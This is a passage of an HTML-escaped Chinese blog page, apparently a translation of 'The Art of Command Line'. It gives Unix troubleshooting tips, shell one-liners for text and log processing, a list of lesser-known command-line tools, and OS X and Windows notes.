href=\"https://en.wikipedia.org/wiki/Perf_(Linux)\"\u003e\u003ccode\u003eperf\u003c/code\u003e\u003c/a\u003e,以及\u003ca href=\"https://github.com/draios/sysdig\"\u003e\u003ccode\u003esysdig\u003c/code\u003e\u003c/a\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e查看你当前使用的系统,使用 \u003ccode\u003euname\u003c/code\u003e,\u003ccode\u003euname -a\u003c/code\u003e(Unix/kernel 信息)或者 \u003ccode\u003elsb_release -a\u003c/code\u003e(Linux 发行版信息)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e无论什么东西工作得很欢乐(可能是硬件或驱动问题)时可以试试 \u003ccode\u003edmesg\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e如果你删除了一个文件,但通过 \u003ccode\u003edu\u003c/code\u003e 发现没有释放预期的磁盘空间,请检查文件是否被进程占用:\u003cbr/\u003e\u003ccode\u003elsof | grep deleted | grep \u0026#34;filename-of-my-big-file\u0026#34;\u003c/code\u003e\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"单行脚本\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E5%8D%95%E8%A1%8C%E8%84%9A%E6%9C%AC\" class=\"headerlink\" title=\"单行脚本\"\u003e\u003c/a\u003e单行脚本\u003c/h2\u003e\u003cp\u003e一些命令组合的例子:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e当你需要对文本文件做集合交、并、差运算时,\u003ccode\u003esort\u003c/code\u003e 和 \u003ccode\u003euniq\u003c/code\u003e 会是你的好帮手。具体例子请参照代码后面的,此处假设 \u003ccode\u003ea\u003c/code\u003e 与 \u003ccode\u003eb\u003c/code\u003e 是两内容不同的文件。这种方式效率很高,并且在小文件和上 G 的文件上都能运用(注意尽管在 \u003ccode\u003e/tmp\u003c/code\u003e 在一个小的根分区上时你可能需要 \u003ccode\u003e-T\u003c/code\u003e 参数,但是实际上 \u003ccode\u003esort\u003c/code\u003e 并不被内存大小约束),参阅前文中关于 \u003ccode\u003eLC_ALL\u003c/code\u003e 和 \u003ccode\u003esort\u003c/code\u003e 的 \u003ccode\u003e-u\u003c/code\u003e 参数的部分。\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e a b | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e \u0026gt; c \u003cspan class=\"comment\"\u003e# c 是 a 并 b\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e a b | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -d \u0026gt; c \u003cspan class=\"comment\"\u003e# c 是 a 交 b\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003esort\u003c/span\u003e a b b | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -u \u0026gt; c \u003cspan class=\"comment\"\u003e# c 是 a - b\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003egrep . *\u003c/code\u003e(每行都会附上文件名)或者 \u003ccode\u003ehead -100 *\u003c/code\u003e(每个文件有一个标题)来阅读检查目录下所有文件的内容。这在检查一个充满配置文件的目录(如 \u003ccode\u003e/sys\u003c/code\u003e、\u003ccode\u003e/proc\u003c/code\u003e、\u003ccode\u003e/etc\u003c/code\u003e)时特别好用。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e计算文本文件第三列中所有数的和(可能比同等作用的 Python 代码快三倍且代码量少三倍):\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eawk \u003cspan class=\"string\"\u003e\u0026#39;{ x += $3 } END { print x }\u0026#39;\u003c/span\u003e myfile\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e如果你想在文件树上查看大小/日期,这可能看起来像递归版的 \u003ccode\u003els -l\u003c/code\u003e 但比 \u003ccode\u003els -lR\u003c/code\u003e 更易于理解:\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efind . -\u003cspan class=\"built_in\"\u003etype\u003c/span\u003e f -\u003cspan class=\"built_in\"\u003els\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e假设你有一个类似于 web 服务器日志文件的文本文件,并且一个确定的值只会出现在某些行上,假设一个 \u003ccode\u003eacct_id\u003c/code\u003e 参数在 URI 中。如果你想计算出每个 \u003ccode\u003eacct_id\u003c/code\u003e 值有多少次请求,使用如下代码:\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eegrep -o \u003cspan class=\"string\"\u003e\u0026#39;acct_id=[0-9]+\u0026#39;\u003c/span\u003e access.log | \u003cspan class=\"built_in\"\u003ecut\u003c/span\u003e -d= -f2 | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e | \u003cspan class=\"built_in\"\u003euniq\u003c/span\u003e -c | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e -rn\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e要持续监测文件改动,可以使用 \u003ccode\u003ewatch\u003c/code\u003e,例如检查某个文件夹中文件的改变,可以用 \u003ccode\u003ewatch -d -n 2 \u0026#39;ls -rtlh | tail\u0026#39;\u003c/code\u003e;或者在排查 WiFi 设置故障时要监测网络设置的更改,可以用 \u003ccode\u003ewatch -d -n 2 ifconfig\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e运行这个函数从这篇文档中随机获取一条技巧(解析 Markdown 文件并抽取项目):\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"title\"\u003etaocl\u003c/span\u003e\u003c/span\u003e() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e curl -s https://raw.githubusercontent.com/jlevy/the-art-of-command-line/master/README-zh.md|\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pandoc -f markdown -t html |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e iconv -f \u003cspan class=\"string\"\u003e\u0026#39;utf-8\u0026#39;\u003c/span\u003e -t \u003cspan class=\"string\"\u003e\u0026#39;unicode\u0026#39;\u003c/span\u003e |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e xmlstarlet fo --html --dropdtd |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e xmlstarlet sel -t -v \u003cspan class=\"string\"\u003e\u0026#34;(html/body/ul/li[count(p)\u0026gt;0])[\u003cspan class=\"variable\"\u003e$RANDOM\u003c/span\u003e mod last()+1]\u0026#34;\u003c/span\u003e |\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e xmlstarlet unesc | \u003cspan class=\"built_in\"\u003efmt\u003c/span\u003e -80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"冷门但有用\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E5%86%B7%E9%97%A8%E4%BD%86%E6%9C%89%E7%94%A8\" class=\"headerlink\" title=\"冷门但有用\"\u003e\u003c/a\u003e冷门但有用\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eexpr\u003c/code\u003e:计算表达式或正则匹配\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003em4\u003c/code\u003e:简单的宏处理器\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eyes\u003c/code\u003e:多次打印字符串\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ecal\u003c/code\u003e:漂亮的日历\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eenv\u003c/code\u003e:执行一个命令(脚本文件中很有用)\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eprintenv\u003c/code\u003e:打印环境变量(调试时或在写脚本文件时很有用)\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003elook\u003c/code\u003e:查找以特定字符串开头的单词或行\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ecut\u003c/code\u003e,\u003ccode\u003epaste\u003c/code\u003e 和 \u003ccode\u003ejoin\u003c/code\u003e:数据修改\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003efmt\u003c/code\u003e:格式化文本段落\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003epr\u003c/code\u003e:将文本格式化成页/列形式\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003efold\u003c/code\u003e:包裹文本中的几行\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ecolumn\u003c/code\u003e:将文本格式化成多个对齐、定宽的列或表格\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eexpand\u003c/code\u003e 和 \u003ccode\u003eunexpand\u003c/code\u003e:制表符与空格之间转换\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003enl\u003c/code\u003e:添加行号\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eseq\u003c/code\u003e:打印数字\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ebc\u003c/code\u003e:计算器\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003efactor\u003c/code\u003e:分解因数\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ca href=\"https://gnupg.org/\"\u003e\u003ccode\u003egpg\u003c/code\u003e\u003c/a\u003e:加密并签名文件\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003etoe\u003c/code\u003e:terminfo 入口列表\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003enc\u003c/code\u003e:网络调试及数据传输\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003esocat\u003c/code\u003e:套接字代理,与 \u003ccode\u003enetcat\u003c/code\u003e 类似\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ca href=\"https://github.com/mattthias/slurm\"\u003e\u003ccode\u003eslurm\u003c/code\u003e\u003c/a\u003e:网络流量可视化\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003edd\u003c/code\u003e:文件或设备间传输数据\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003efile\u003c/code\u003e:确定文件类型\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003etree\u003c/code\u003e:以树的形式显示路径和文件,类似于递归的 \u003ccode\u003els\u003c/code\u003e\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003estat\u003c/code\u003e:文件信息\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003etime\u003c/code\u003e:执行命令,并计算执行时间\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003etimeout\u003c/code\u003e:在指定时长范围内执行命令,并在规定时间结束后停止进程\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003elockfile\u003c/code\u003e:使文件只能通过 \u003ccode\u003erm -f\u003c/code\u003e 移除\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003elogrotate\u003c/code\u003e: 切换、压缩以及发送日志文件\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ewatch\u003c/code\u003e:重复运行同一个命令,展示结果并/或高亮有更改的部分\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ca href=\"https://github.com/joh/when-changed\"\u003e\u003ccode\u003ewhen-changed\u003c/code\u003e\u003c/a\u003e:当检测到文件更改时执行指定命令。参阅 \u003ccode\u003einotifywait\u003c/code\u003e 和 \u003ccode\u003eentr\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003etac\u003c/code\u003e:反向输出文件\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eshuf\u003c/code\u003e:文件中随机选取几行\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ecomm\u003c/code\u003e:一行一行的比较排序过的文件\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003estrings\u003c/code\u003e:从二进制文件中抽取文本\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003etr\u003c/code\u003e:转换字母\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eiconv\u003c/code\u003e 或 \u003ccode\u003euconv\u003c/code\u003e:文本编码转换\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003esplit\u003c/code\u003e 和 \u003ccode\u003ecsplit\u003c/code\u003e:分割文件\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003esponge\u003c/code\u003e:在写入前读取所有输入,在读取文件后再向同一文件写入时比较有用,例如 \u003ccode\u003egrep -v something some-file | sponge some-file\u003c/code\u003e\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eunits\u003c/code\u003e:将一种计量单位转换为另一种等效的计量单位(参阅 \u003ccode\u003e/usr/share/units/definitions.units\u003c/code\u003e)\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eapg\u003c/code\u003e:随机生成密码\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003exz\u003c/code\u003e:高比例的文件压缩\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eldd\u003c/code\u003e:动态库信息\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003enm\u003c/code\u003e:提取 obj 文件中的符号\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eab\u003c/code\u003e 或 \u003ca href=\"https://github.com/wg/wrk\"\u003e\u003ccode\u003ewrk\u003c/code\u003e\u003c/a\u003e:web 服务器性能分析\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003estrace\u003c/code\u003e:调试系统调用\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ca href=\"http://www.bitwizard.nl/mtr/\"\u003e\u003ccode\u003emtr\u003c/code\u003e\u003c/a\u003e:更好的网络调试跟踪工具\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ecssh\u003c/code\u003e:可视化的并发 shell\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ersync\u003c/code\u003e:通过 ssh 或本地文件系统同步文件和文件夹\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ca href=\"https://wireshark.org/\"\u003e\u003ccode\u003ewireshark\u003c/code\u003e\u003c/a\u003e 和 \u003ca href=\"https://www.wireshark.org/docs/wsug_html_chunked/AppToolstshark.html\"\u003e\u003ccode\u003etshark\u003c/code\u003e\u003c/a\u003e:抓包和网络调试工具\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ca href=\"http://ngrep.sourceforge.net/\"\u003e\u003ccode\u003engrep\u003c/code\u003e\u003c/a\u003e:网络层的 grep\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ehost\u003c/code\u003e 和 \u003ccode\u003edig\u003c/code\u003e:DNS 查找\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003elsof\u003c/code\u003e:列出当前系统打开文件的工具以及查看端口信息\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003edstat\u003c/code\u003e:系统状态查看\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ca href=\"https://github.com/nicolargo/glances\"\u003e\u003ccode\u003eglances\u003c/code\u003e\u003c/a\u003e:高层次的多子系统总览\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eiostat\u003c/code\u003e:硬盘使用状态\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003empstat\u003c/code\u003e: CPU 使用状态\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003evmstat\u003c/code\u003e: 内存使用状态\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ehtop\u003c/code\u003e:top 的加强版\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003elast\u003c/code\u003e:登入记录\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ew\u003c/code\u003e:查看处于登录状态的用户\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eid\u003c/code\u003e:用户/组 ID 信息\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ca href=\"http://sebastien.godard.pagesperso-orange.fr/\"\u003e\u003ccode\u003esar\u003c/code\u003e\u003c/a\u003e:系统历史数据\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ca href=\"http://www.ex-parrot.com/~pdw/iftop/\"\u003e\u003ccode\u003eiftop\u003c/code\u003e\u003c/a\u003e 或 \u003ca href=\"https://github.com/raboof/nethogs\"\u003e\u003ccode\u003enethogs\u003c/code\u003e\u003c/a\u003e:套接字及进程的网络利用情况\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ess\u003c/code\u003e:套接字数据\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003edmesg\u003c/code\u003e:引导及系统错误信息\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003esysctl\u003c/code\u003e: 在内核运行时动态地查看和修改内核的运行参数\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ehdparm\u003c/code\u003e:SATA/ATA 磁盘更改及性能分析\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003elsblk\u003c/code\u003e:列出块设备信息:以树形展示你的磁盘以及磁盘分区信息\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003elshw\u003c/code\u003e,\u003ccode\u003elscpu\u003c/code\u003e,\u003ccode\u003elspci\u003c/code\u003e,\u003ccode\u003elsusb\u003c/code\u003e 和 \u003ccode\u003edmidecode\u003c/code\u003e:查看硬件信息,包括 CPU、BIOS、RAID、显卡、USB设备等\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003elsmod\u003c/code\u003e 和 \u003ccode\u003emodinfo\u003c/code\u003e:列出内核模块,并显示其细节\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003efortune\u003c/code\u003e,\u003ccode\u003eddate\u003c/code\u003e 和 \u003ccode\u003esl\u003c/code\u003e:额,这主要取决于你是否认为蒸汽火车和莫名其妙的名人名言是否“有用”\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"仅限-OS-X-系统\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E4%BB%85%E9%99%90-OS-X-%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"仅限 OS X 系统\"\u003e\u003c/a\u003e仅限 OS X 系统\u003c/h2\u003e\u003cp\u003e以下是\u003cem\u003e仅限于\u003c/em\u003e OS X 系统的技巧。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e用 \u003ccode\u003ebrew\u003c/code\u003e (Homebrew)或者 \u003ccode\u003eport\u003c/code\u003e (MacPorts)进行包管理。这些可以用来在 OS X 系统上安装以上的大多数命令。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e用 \u003ccode\u003epbcopy\u003c/code\u003e 复制任何命令的输出到桌面应用,用 \u003ccode\u003epbpaste\u003c/code\u003e 粘贴输入。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e若要在 OS X 终端中将 Option 键视为 alt 键(例如在上面介绍的 \u003cstrong\u003ealt-b\u003c/strong\u003e、\u003cstrong\u003ealt-f\u003c/strong\u003e 等命令中用到),打开 偏好设置 -\u0026gt; 描述文件 -\u0026gt; 键盘 并勾选“使用 Option 键作为 Meta 键”。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e用 \u003ccode\u003eopen\u003c/code\u003e 或者 \u003ccode\u003eopen -a /Applications/Whatever.app\u003c/code\u003e 使用桌面应用打开文件。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eSpotlight:用 \u003ccode\u003emdfind\u003c/code\u003e 搜索文件,用 \u003ccode\u003emdls\u003c/code\u003e 列出元数据(例如照片的 EXIF 信息)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e注意 OS X 系统是基于 BSD UNIX 的,许多命令(例如 \u003ccode\u003eps\u003c/code\u003e,\u003ccode\u003els\u003c/code\u003e,\u003ccode\u003etail\u003c/code\u003e,\u003ccode\u003eawk\u003c/code\u003e,\u003ccode\u003esed\u003c/code\u003e)都和 Linux 中有微妙的不同( Linux 很大程度上受到了 System V-style Unix 和 GNU 工具影响)。你可以通过标题为 “BSD General Commands Manual” 的 man 页面发现这些不同。在有些情况下 GNU 版本的命令也可能被安装(例如 \u003ccode\u003egawk\u003c/code\u003e 和 \u003ccode\u003egsed\u003c/code\u003e 对应 GNU 中的 awk 和 sed )。如果要写跨平台的 Bash 脚本,避免使用这些命令(例如,考虑 Python 或者 \u003ccode\u003eperl\u003c/code\u003e )或者经过仔细的测试。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e用 \u003ccode\u003esw_vers\u003c/code\u003e 获取 OS X 的版本信息。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"仅限-Windows-系统\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E4%BB%85%E9%99%90-Windows-%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"仅限 Windows 系统\"\u003e\u003c/a\u003e仅限 Windows 系统\u003c/h2\u003e\u003cp\u003e以下是\u003cem\u003e仅限于\u003c/em\u003e Windows 系统的技巧。\u003c/p\u003e\u003ch3 id=\"在-Winodws-下获取-Unix-工具\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E5%9C%A8-Winodws-%E4%B8%8B%E8%8E%B7%E5%8F%96-Unix-%E5%B7%A5%E5%85%B7\" class=\"headerlink\" title=\"在 Winodws 下获取 Unix 工具\"\u003e\u003c/a\u003e在 Winodws 下获取 Unix 工具\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e可以安装 \u003ca href=\"https://cygwin.com/\"\u003eCygwin\u003c/a\u003e 允许你在 Microsoft Windows 中体验 Unix shell 的威力。这样的话,本文中介绍的大多数内容都将适用。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e在 Windows 10 上,你可以使用 \u003ca href=\"https://msdn.microsoft.com/commandline/wsl/about\"\u003eBash on Ubuntu on Windows\u003c/a\u003e,它提供了一个熟悉的 Bash 环境,包含了不少 Unix 命令行工具。好处是它允许 Linux 上编写的程序在 Windows 上运行,而另一方面,Windows 上编写的程序却无法在 Bash 命令行中运行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e如果你在 Windows 上主要想用 GNU 开发者工具(例如 GCC),可以考虑 \u003ca href=\"http://www.mingw.org/\"\u003eMinGW\u003c/a\u003e 以及它的 \u003ca href=\"http://www.mingw.org/wiki/msys\"\u003eMSYS\u003c/a\u003e 包,这个包提供了例如 bash,gawk,make 和 grep 的工具。MSYS 并不包含所有可以与 Cygwin 媲美的特性。当制作 Unix 工具的原生 Windows 端口时 MinGW 将特别地有用。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e另一个在 Windows 下实现接近 Unix 环境外观效果的选项是 \u003ca href=\"https://github.com/dthree/cash\"\u003eCash\u003c/a\u003e。注意在此环境下只有很少的 Unix 命令和命令行可用。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"实用-Windows-命令行工具\"\u003e\u003ca 